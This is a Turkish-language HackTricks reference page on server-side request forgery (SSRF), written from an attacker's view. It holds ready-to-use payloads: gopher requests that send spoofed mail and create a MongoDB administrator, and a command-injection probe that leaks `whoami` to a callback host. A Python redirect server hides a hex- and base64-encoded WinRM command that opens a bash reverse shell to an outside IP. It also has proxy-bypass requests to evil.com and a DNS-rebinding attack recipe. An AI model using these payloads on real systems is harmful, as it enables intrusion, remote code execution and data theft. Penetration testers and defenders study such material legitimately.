SSRF (Sunucu Tarafı İstek Sahteciliği)
Reading time: 23 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Bir Sunucu Tarafı İstek Sahteciliği (SSRF) açığı, bir saldırganın sunucu tarafı uygulamasını kendi seçtiği bir alan adına HTTP istekleri yapması için manipüle etmesi durumunda meydana gelir. Bu açık, sunucuyu saldırgan tarafından yönlendirilen keyfi dış isteklere maruz bırakır.
SSRF'yi Yakalama
Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için aşağıdaki araçları kullanabilirsiniz:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - ngrok kullanan bir Burp Collaborator
Beyaz Liste Alanları Bypass
Genellikle SSRF'nin yalnızca belirli beyaz listeye alınmış alanlarda veya URL'lerde çalıştığını göreceksiniz. Aşağıdaki sayfada bu beyaz listeyi aşmak için denemek üzere tekniklerin bir derlemesini bulabilirsiniz:
Açık Yönlendirme ile Bypass
Eğer sunucu doğru bir şekilde korunuyorsa, web sayfası içindeki Açık Yönlendirmeyi kullanarak tüm kısıtlamaları aşabilirsiniz. Çünkü web sayfası aynı alan adına SSRF'ye izin verecek ve muhtemelen yönlendirmeleri takip edecektir, bu nedenle Açık Yönlendirmeyi kullanarak sunucunun dahili herhangi bir kaynağa erişmesini sağlayabilirsiniz.
Daha fazla bilgi için burayı okuyun: https://portswigger.net/web-security/ssrf
Protokoller
- file://
- URL şeması
file://
referans alınarak, doğrudan/etc/passwd
'a işaret eder:file:///etc/passwd
- dict://
- DICT URL şemasının, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişim için kullanıldığı belirtilmiştir. Verilen bir örnek, belirli bir kelime, veritabanı ve giriş numarasını hedef alan bir URL'nin nasıl oluşturulduğunu göstermektedir; ayrıca bir PHP scriptinin, saldırgan tarafından sağlanan kimlik bilgileriyle bir DICT sunucusuna bağlanmak için potansiyel olarak nasıl kötüye kullanılabileceği de belirtilmiştir:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır; bir örnek, bir PHP scriptinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl kötüye kullanılabileceğini göstermektedir:
url=sftp://generic.com:11111/
- TFTP://
- UDP üzerinden çalışan Trivial File Transfer Protocol, bir TFTP sunucusuna istek göndermek için tasarlanmış bir PHP scripti ile birlikte belirtilmiştir. 'generic.com' adresine '12346' portu üzerinden 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılmaktadır:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Bu bölüm, IP ağları üzerinden dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolünü kapsamaktadır. Bir LDAP sunucusuyla localhost üzerinde etkileşim:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- SSRF açıklarını kullanarak localhost üzerindeki SMTP hizmetleriyle etkileşim kurma yöntemi açıklanmıştır; bu, dahili alan adlarını ortaya çıkarmak ve bu bilgilere dayalı daha fazla araştırma eylemleri için adımları içermektedir.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF atlatma
- Eğer SSRF curl ile çalıştırılıyorsa, WAF'ları atlatmak için faydalı olabilecek bir özellik olan URL globbing vardır. Örneğin bu yazıda bir
file
protokolü ile yol geçişi örneğini bulabilirsiniz:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Gopher protokolünün sunucu iletişimi için IP, port ve baytları belirtme yeteneği, payload'lar oluşturmak için Gopherus ve remote-method-guesser gibi araçlarla birlikte tartışılmaktadır. İki farklı kullanım örneği gösterilmektedir:
Gopher://
Bu protokolü kullanarak sunucunun göndermesini istediğiniz IP, port ve baytları belirtebilirsiniz. Ardından, temelde bir SSRF'yi kullanarak herhangi bir TCP sunucusuyla iletişim kurabilirsiniz (ancak önce hizmetle nasıl iletişim kuracağınızı bilmeniz gerekir).
Neyse ki, birkaç hizmet için payload'lar oluşturmak üzere Gopherus kullanabilirsiniz. Ayrıca, Java RMI hizmetleri için gopher payload'ları oluşturmak üzere remote-method-guesser kullanılabilir.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 1337'ye geri bağlantı
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- Kullanıcı oluşturun, kullanıcı adı=admin, şifre=admin123 ve izin=administrator ile
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Others
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları Server-Side Request Forgery (SSRF) zafiyetlerine istemeden maruz bırakır. Bunun nedeni, bu tür yazılımların Referrer başlığında belirtilen dış URL'leri ziyaret ederek yönlendirme sitesi içeriğini analiz etmesidir. Bu zafiyetleri ortaya çıkarmak için, analiz araçlarının Referer başlığını işleme biçiminden yararlanarak potansiyel SSRF saldırı yüzeylerini tanımlamak için Burp Suite eklentisi "Collaborator Everywhere" önerilmektedir.
SSRF via SNI data from certificate
Herhangi bir arka uca basit bir yapılandırma ile bağlantıyı etkinleştirebilecek bir yanlış yapılandırma, örnek bir Nginx yapılandırması ile gösterilmektedir:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan arka ucun adresi olarak kullanılmaktadır. Bu ayar, SNI alanında istenen IP adresini veya alan adını belirterek istismar edilebilecek bir Server-Side Request Forgery (SSRF) açığına maruz kalmaktadır. Aşağıda, internal.host.com
gibi keyfi bir arka uca bağlantıyı zorlamak için openssl
komutunun bir istismar örneği verilmiştir:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget dosya yükleme
Komut Enjeksiyonu ile SSRF
Aşağıdaki gibi bir yük denemeye değer olabilir: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF'lerin İşlenmesi
Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, PDF oluşturucu tarafından (sunucu) PDF oluşturulurken çalıştırılacak bazı JS'ler ekleyebilirsiniz ve SSRF'yi kötüye kullanabilirsiniz. Daha fazla bilgi burada bulun.
SSRF'den DoS'a
Birden fazla oturum oluşturun ve oturumlardan SSRF'yi kullanarak ağır dosyaları indirmeyi deneyin.
SSRF PHP Fonksiyonları
Aşağıdaki sayfayı, savunmasız PHP ve hatta Wordpress fonksiyonları için kontrol edin:
Gopher'a Yönlendirme ile SSRF
Bazı istismarlar için bir yönlendirme yanıtı göndermeniz gerekebilir (potansiyel olarak gopher gibi farklı bir protokol kullanmak için). İşte yönlendirme ile yanıt vermek için farklı python kodları:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Yanlış yapılandırılmış proxy'ler ile SSRF
Tricks from this post.
Flask
Flask proxy vulnerable code
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
Flask, @
karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da ilk ana bilgisayar adını kullanıcı adı olarak ayarlamayı ve yeni bir tane enjekte etmeyi sağlar. Saldırı isteği:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Zayıf kod:
Bir isteğin yolunu ;
karakteri ile başlatmanın mümkün olduğu keşfedildi, bu da ardından @
kullanarak yeni bir ana bilgisayar enjekte etmeye olanak tanır. Saldırı isteği:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Yerleşik Web Sunucusu
Hassas PHP kodu
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
PHP, URL'nun yolundaki slash'tan önce *
karakterinin kullanılmasına izin verir, ancak bunun gibi yalnızca kök yol adı /
için kullanılabileceği ve ilk slash'tan önce nokta .
kullanılmasına izin verilmediği gibi başka sınırlamaları da vardır, bu nedenle örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP atlatma
Eğer CORS/SOP nedeniyle yerel bir IP'den içerik sızdırma ile sorunlar yaşıyorsanız, DNS Rebidding bu sınırlamayı aşmak için kullanılabilir:
CORS - Misconfigurations & Bypass
Otomatik DNS Rebidding
Singularity of Origin
bir DNS rebinding saldırısı gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
Ayrıca halka açık çalışan sunucuya göz atın: http://rebind.it/singularity.html
DNS Rebidding + TLS Oturum ID/Oturum bileti
Gereksinimler:
- SSRF
- Çıkış TLS oturumları
- Yerel portlarda şeyler
Saldırı:
- Kullanıcı/bota saldırgan tarafından kontrol edilen bir alan adına erişim istemesini söyleyin.
- DNS'nin TTL'si 0 saniyedir (bu nedenle kurban, alanın IP'sini yakında tekrar kontrol edecektir).
- Kurban ile saldırganın alanı arasında bir TLS bağlantısı oluşturulur. Saldırgan yükü Oturum ID'si veya Oturum Bileti içine yerleştirir.
- Alan, kendisine karşı sonsuz bir yönlendirme döngüsü başlatır. Bunun amacı, kullanıcı/botun alanı erişmesini sağlamak ve tekrar alanın DNS isteğini gerçekleştirmesidir.
- DNS isteğinde artık bir özel IP adresi verilir (örneğin 127.0.0.1).
- Kullanıcı/bot TLS bağlantısını yeniden kurmaya çalışacak ve bunu yapmak için Oturum ID'sini/Bileti ID'sini gönderecektir (burada saldırganın yükü bulunuyordu). Böylece, kullanıcı/botun kendisini saldırıya uğratmasını sağlamış oldunuz.
Bu saldırı sırasında, localhost:11211 (memcache)'e saldırmak istiyorsanız, kurbanın ilk bağlantıyı www.attacker.com:11211 ile kurmasını sağlamanız gerektiğini unutmayın (port her zaman aynı olmalıdır).
Bu saldırıyı gerçekleştirmek için aracı kullanabilirsiniz: https://github.com/jmdx/TLS-poison/
Daha fazla bilgi için bu saldırının açıklandığı konuşmaya göz atın: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Kör bir SSRF ile kör olmayan bir SSRF arasındaki fark, kör olanın SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca iyi bilinen zafiyetleri istismar edebileceğiniz için istismar etmek daha zordur.
Zaman tabanlı SSRF
Sunucudan gelen yanıtların zamanını kontrol ederek, bir kaynağın var olup olmadığını bilmek mümkün olabilir (belki mevcut bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alır).
Cloud SSRF İstismarı
Bir bulut ortamında çalışan bir makinede bir SSRF zafiyeti bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:
SSRF Zafiyetli Platformlar
Birçok bilinen platform, SSRF zafiyetleri içermektedir veya içermiştir, bunları kontrol edin:
Araçlar
SSRFMap
SSRF zafiyetlerini tespit etmek ve istismar etmek için bir araçtır.
Gopherus
Bu araç, aşağıdakiler için Gopher yükleri oluşturur:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser, en yaygın Java RMI zafiyetleri için saldırı işlemlerini destekleyen bir Java RMI zafiyet tarayıcısıdır. Mevcut işlemlerin çoğu, istenen işlem için bir SSRF yükü oluşturmak üzere --ssrf
seçeneğini destekler. --gopher
seçeneği ile birlikte, doğrudan kullanılabilir gopher yükleri oluşturulabilir.
SSRF Proxy
SSRF Proxy, istemci HTTP trafiğini Server-Side Request Forgery (SSRF) zafiyetine sahip HTTP sunucuları üzerinden tünellemek için tasarlanmış çok iş parçacıklı bir HTTP proxy sunucusudur.
Pratik yapmak için
Referanslar
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.